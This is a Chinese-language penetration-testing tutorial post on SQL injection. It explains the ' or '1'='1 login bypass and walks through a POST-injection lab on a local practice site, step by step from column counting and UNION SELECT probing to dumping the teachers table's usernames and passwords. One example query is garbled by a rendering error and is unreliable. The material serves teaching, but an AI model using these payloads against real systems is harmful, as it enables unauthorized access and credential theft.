渗透测试——万能密码与POST注入

时间:2024-05-23 10:40:24

1.万能密码的原理

数据库没有对前端输入的参数的合法性做过率,并且账号和密码 一起输入,可以通过编写恶意语句,将用户与密码的输入结果判断为真,就实现了万能密码的登录。

2.万能密码实例:

查询语句select * from ‘.KaTeX parse error: Double superscript at position 21: …e.' where id=' '̲ and pass=' '; …t_name.’ where id=’ sdadaad’ and pass=’ ‘or’1’=‘1’;
由于SQL语句中逻辑运算符具有优先级:=的优先级>and,and的优先级>or
因此,此SQL语句在后台解析时分成两句:select * from ‘.$t_name.’ where id=’ sdadaad’ and pass=’ ’ 和 or’1’=‘1’
前面判断为真and假为假,后面为真,结果就为真,就可以登录成功了

3.POST注入的原理

post注入是通过对输入框进行传参,可以被带入数据库进行的查询
注入的两个条件:
1.用户可以控制传参
2.用户输入的语句被带入数据库进行查询
3.对用户输入的数据没有做合法性的判断

4.POST注入实战

对http://127.0.0.1/grade/页面进行POST注入,查询到用户信息
环境:grade靶场
1.密码框输入’or’1’=‘1获得一个正确的ID
渗透测试——万能密码与POST注入
2.在用户框输入3001’and1=1#(正确)和3001‘and1=2#(错误)判断为字符型
3.判断字段数
3001’ order by 3#
4.判断显示位置
-3001’ union select 1,2,3#
渗透测试——万能密码与POST注入
5.查询数据库
-3001’ union select 1,database(),3#
渗透测试——万能密码与POST注入
6.查询表名
-3001’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘grade’),3#

渗透测试——万能密码与POST注入
7.查询字段
-3001’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘grade’ and table_name=‘teachers’),3#
渗透测试——万能密码与POST注入

8.查询数据
-3001’ union select 1,(select group_concat(id,name,pass) from grade.teachers),3#
渗透测试——万能密码与POST注入